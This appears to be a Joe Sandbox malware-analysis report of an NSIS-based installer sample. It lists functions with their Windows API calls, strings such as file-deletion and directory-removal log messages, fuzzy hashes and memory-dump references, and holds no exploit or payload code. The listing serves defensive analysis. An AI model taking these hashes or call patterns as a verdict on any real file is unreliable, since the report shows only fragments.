Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction ID: a99f375bd2b1051765f890e1d94d2f722c1bb1ba0a12d38356d8610c0186b9c0
Opcode Fuzzy Hash: 404706a0ec70c465fc6e77d3f379a59e81a865ab84cdc077efcd7274a0164b66
Instruction Fuzzy Hash: 84C01272404800EAC6000B34DF0881A7B62AB90330B268B39B0BAE00F0CB3488A99A18

Function 00403336 Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000,00000000,00000000,00000000,000000FF,?,004033CE,000000FF,00000004,00000000,00000000,00000000), ref: 0040334D

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction ID: a3bc5d39330dd194e4c7332763fdc94ca13499671d705f1c19c6925397c50364
Opcode Fuzzy Hash: 1a43d381f500bc8dc9f00bbbc079669c25ab728c1eaf5fecfa5fd6a2526f4c39
Instruction Fuzzy Hash: C8E08C32550118BFCB109EA69C40EE73B5CFB047A2F00C832BD55E5290DA30DA00EBE8

Function 004037CC Relevance: 1.5, APIs: 1, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

CreateDirectoryW.KERNELBASE(004D70C8,00000000,004D70C8,004D70C8,004D70C8,-00000002,00403A0B), ref: 004037ED

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID:
API String ID: 4115351271-0
Opcode ID: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction ID: 8ea1286759415c6f695425ed34242866ebe8a7a529327a4e56f2759b30593fc1
Opcode Fuzzy Hash: df63d9f6fb0dfe925f434423aee030f478bab57ed52ac2db2f8962d9fd449c2e
Instruction Fuzzy Hash: B1D0A921083C3221C562332A3D06FCF090C8F2635AB02C07BF841B61CA8B2C4B8240EE

Function 00403DAF Relevance: 1.5, APIs: 1, Instructions: 9windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,00000000,00000000), ref: 00403DC1

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction ID: 301fa2329b67e93c742f3c195cb428e9759bf169fd062939fd541a9b7e119014
Opcode Fuzzy Hash: 203c4a4104ade6b46efc04414fb016ca35add41c2a64233918ece76cb1940256
Instruction Fuzzy Hash: D3C04C71650601AADA108B509D45F1677595B50B41F544439B641F50E0D674E450DA1E

Function 00403368 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000000,00000000,0040375A,?,?,?,?,00000000,00403A47,?), ref: 00403376

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction ID: da19c3e449f5d10d282cbd9bcc1d8f2f369397d5e390659c1e8fea63e82898b0
Opcode Fuzzy Hash: ff5c9719b5bb24227ed98436e19d1f66b73f6b097333bfca9e4e1763c30da83c
Instruction Fuzzy Hash: 0CB09231140204AEDA214B109E05F067A21FB94700F208824B2A0380F086711420EA0C

Function 00403D98 Relevance: 1.5, APIs: 1, Instructions: 6windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction ID: f61ffac979fbda5733e9df3da2bdae5977773398d3d4f9e0d67d11d125479468
Opcode Fuzzy Hash: 8ef0c84af5b69eb6e5c04aecb335cbd5d798096170d60dc049d97623b8df0028
Instruction Fuzzy Hash: EFB09235181A00AADE614B00DF0AF457A62A764701F008079B245640B0CAB200E0DB08

Function 00403D85 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(?,0040574D), ref: 00403D8F

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction ID: d14db2bc66c636a64d409f7b36464c270e9f3e97be8c2f7aaa1954d4611ec3db
Opcode Fuzzy Hash: 7b5b3f07ec4b69a7f183f6b544b36b38adf2938630adbd4e30d083ffe7510c70
Instruction Fuzzy Hash: 8DA01275005500DBCF014B40EF048067A61B7503007108478F1810003086310420EB08

Function 00403859 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(FFFFFFFF,00403AD1,?), ref: 00403864

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a114d1ad3d6f72424773905f6d3d8555ffb504a96b4f495319bf21f79649ad7b
Instruction ID: b9bdbc8744521ee651ba7bc90111acac5a2c88e2b86e9c74d328a3688b9dc09a
Opcode Fuzzy Hash: a114d1ad3d6f72424773905f6d3d8555ffb504a96b4f495319bf21f79649ad7b
Instruction Fuzzy Hash: 7BC0223810020092E1242F34AE0EB063A04F740330F500B3EF0F2F02F0D73C8640006D

Non-executed Functions

Function 0040497C Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404993
GetDlgItem.USER32(?,00000408), ref: 004049A0
GlobalAlloc.KERNEL32(00000040,?), ref: 004049EF
LoadBitmapW.USER32(0000006E), ref: 00404A02
SetWindowLongW.USER32(?,000000FC,Function_000048CC), ref: 00404A1C
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404A2E
ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404A42
SendMessageW.USER32(?,00001109,00000002), ref: 00404A58
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404A64
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404A74
DeleteObject.GDI32(?), ref: 00404A79
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404AA4
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404AB0
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B51
SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404B74
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404B85
GetWindowLongW.USER32(?,000000F0), ref: 00404BAF
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404BBE
ShowWindow.USER32(?,00000005), ref: 00404BCF
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404CCD
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404D28
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404D3D
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404D61
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404D87
ImageList_Destroy.COMCTL32(?), ref: 00404D9C
GlobalFree.KERNEL32(?), ref: 00404DAC
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404E1C
SendMessageW.USER32(?,00001102,?,?), ref: 00404ECA
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00404ED9
InvalidateRect.USER32(?,00000000,00000001), ref: 00404EF9
ShowWindow.USER32(?,00000000), ref: 00404F49
GetDlgItem.USER32(?,000003FE), ref: 00404F54
ShowWindow.USER32(00000000), ref: 00404F5B

Strings

N, xrefs: 00404C06
, xrefs: 00404F39
M, xrefs: 00404B43
@, xrefs: 00404B90

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $ @$M$N
API String ID: 1638840714-3479655940
Opcode ID: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction ID: e2b6c32447eba08f07ab18e4c0942225b167af9b9c7e550a0b0592367213937f
Opcode Fuzzy Hash: 222e44079ed98782fbb34ec8da515d99173e785f6e02dcb26c66960398e67004
Instruction Fuzzy Hash: 09026CB0900209AFEF209FA4CD45AAE7BB5FB84314F10413AF615B62E1D7B89D91DF58

Function 004044A5 Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 300stringkeyboardCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F0), ref: 004044F9
IsDlgButtonChecked.USER32(?,000003F0), ref: 00404507
GetDlgItem.USER32(?,000003FB), ref: 00404527
GetAsyncKeyState.USER32(00000010), ref: 0040452E
GetDlgItem.USER32(?,000003F0), ref: 00404543
ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404554
SetWindowTextW.USER32(?,?), ref: 00404583
SHBrowseForFolderW.SHELL32(?), ref: 0040463D
lstrcmpiW.KERNEL32(00462540,00447240,00000000,?,?), ref: 0040467A
lstrcatW.KERNEL32(?,00462540), ref: 00404686
SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404696
CoTaskMemFree.OLE32(00000000), ref: 00404648

Part of subcall function 00405C84: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403F81), ref: 00405C97

Part of subcall function 00406038: CharNextW.USER32(?,*?|<>/":,00000000,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 0040609B
Part of subcall function 00406038: CharNextW.USER32(?,?,?,00000000), ref: 004060AA
Part of subcall function 00406038: CharNextW.USER32(?,004D70C8,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060AF
Part of subcall function 00406038: CharPrevW.USER32(?,?,004C30A0,004D70C8,00000000,004037D8,004D70C8,-00000002,00403A0B), ref: 004060C3

Part of subcall function 00403E74: lstrcatW.KERNEL32(00000000,00000000,0046A560,004C70A8,install.log,00405A9C,004C70A8,004C70A8,004D30C0,00447240,80000001,Control Panel\Desktop\ResourceLocale,00000000,00447240,00000000,00000006), ref: 00403E8F

GetDiskFreeSpaceW.KERNEL32(00443238,?,?,0000040F,?,00443238,00443238,?,00000000,00443238,?,?,000003FB,?), ref: 00404759
MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404774

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

SetDlgItemTextW.USER32(00000000,00000400,00409264), ref: 004047ED

Strings

@rD, xrefs: 00404610
A, xrefs: 00404636
82D, xrefs: 004046DB
@%F, xrefs: 00404674

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
String ID: 82D$@%F$@rD$A
API String ID: 3347642858-1086125096
Opcode ID: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction ID: 5c5d6a603380bcdbc7d7d35b60f5621b43697e5e98684918e033f9398a36e476
Opcode Fuzzy Hash: 41223eded68e0cc8c9bf9fa9bd2dae48608aba550ad56c91da83586f0d18507e
Instruction Fuzzy Hash: D1B1A4B1900209BBDB11AFA1CD85AAF7AB8EF45314F10847BF605B72D1D77C8A41CB59

Function 00406ED2 Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406EF6
ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F30
ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FA9
lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FB5
lstrcmpA.KERNEL32(name,?), ref: 00406FC7
CloseHandle.KERNEL32(?), ref: 004071E6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

name, xrefs: 00406FBF
%s: failed opening file "%s", xrefs: 00406F0C
GetTTFNameString, xrefs: 00406F07

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
String ID: %s: failed opening file "%s"$GetTTFNameString$name
API String ID: 1916479912-1189179171
Opcode ID: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction ID: 34713ba181b26839f7619e948cf229fd8716e5ee99c03f3e8673f79b0d3e70cf
Opcode Fuzzy Hash: c1ee4f9d51a5711eefddbfc324bacbf89cb8dd321db642bada23a62a27e44b0a
Instruction Fuzzy Hash: 9091BF70D1412DAACF04EBA5DD909FEBBBAEF48301F00416AF592F72D0E6785A05DB64

Function 00406C9B Relevance: 29.9, APIs: 9, Strings: 8, Instructions: 190filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,004C30A0), ref: 00406CB8
lstrcatW.KERNEL32(0045C918,\*.*,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D09
lstrcatW.KERNEL32(?,00408838,?,0045C918,?,-00000002,004D70C8,?,004C30A0), ref: 00406D29
lstrlenW.KERNEL32(?), ref: 00406D2C
FindFirstFileW.KERNEL32(0045C918,?), ref: 00406D40
FindNextFileW.KERNEL32(?,00000010,000000F2,?), ref: 00406E22
FindClose.KERNEL32(?), ref: 00406E33

Strings

Delete: DeleteFile on Reboot("%s"), xrefs: 00406DE0
Delete: DeleteFile failed("%s"), xrefs: 00406DFD
Delete: DeleteFile("%s"), xrefs: 00406DBC
RMDir: RemoveDirectory failed("%s"), xrefs: 00406EB0
RMDir: RemoveDirectory on Reboot("%s"), xrefs: 00406E93
RMDir: RemoveDirectory invalid input("%s"), xrefs: 00406E58
\*.*, xrefs: 00406D03
RMDir: RemoveDirectory("%s"), xrefs: 00406E6F

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: Delete: DeleteFile failed("%s")$Delete: DeleteFile on Reboot("%s")$Delete: DeleteFile("%s")$RMDir: RemoveDirectory failed("%s")$RMDir: RemoveDirectory invalid input("%s")$RMDir: RemoveDirectory on Reboot("%s")$RMDir: RemoveDirectory("%s")$\*.*
API String ID: 2035342205-3294556389
Opcode ID: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction ID: 0ca3ec5a28b3c1cae8259a28e21d86b18febecd5c0179aed135e39ed79665852
Opcode Fuzzy Hash: 15be8897d6e9b53d01f132332000c29bcd26e475d5c6b9324dd4f7514e94a53d
Instruction Fuzzy Hash: 2D51E3315043056ADB20AB61CD46EAF37B89F81725F22803FF943751D2DB7C49A2DAAD

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 00406A53
@%F, xrefs: 0040682C
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 5b9b76f287d52b653a8a41dc6b1224aada0ccbd74d66441f1f03372adecf381e
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(00409B24,?,00000001,00409B04,?), ref: 0040257E

Strings

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763153474.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_vqMMwqCFZQ.jbxd

Similarity

API ID: CreateInstance
String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
API String ID: 542301482-1377821865
Opcode ID: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction ID: c24c797a6f187c751e7d972b1a807078ee58ffeb38f484aa28d094541f0f6205
Opcode Fuzzy Hash: 0ddbb4256677b6c48083548557f3f7fdb52e2b2de327cf14ae3b1cdcca70b28b
Instruction Fuzzy Hash: 02415E74A00205BFCF04EFA0CC99EAE7B79FF48314B20456AF915EB2E1C679A941CB54

Function 00402E18 Relevance: 1.5, APIs: 1, Instructions: 27fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402E27

Memory Dump Source

Source File: 00000000.00000002.1763029616.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1763011202.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763049787.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1763076432.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
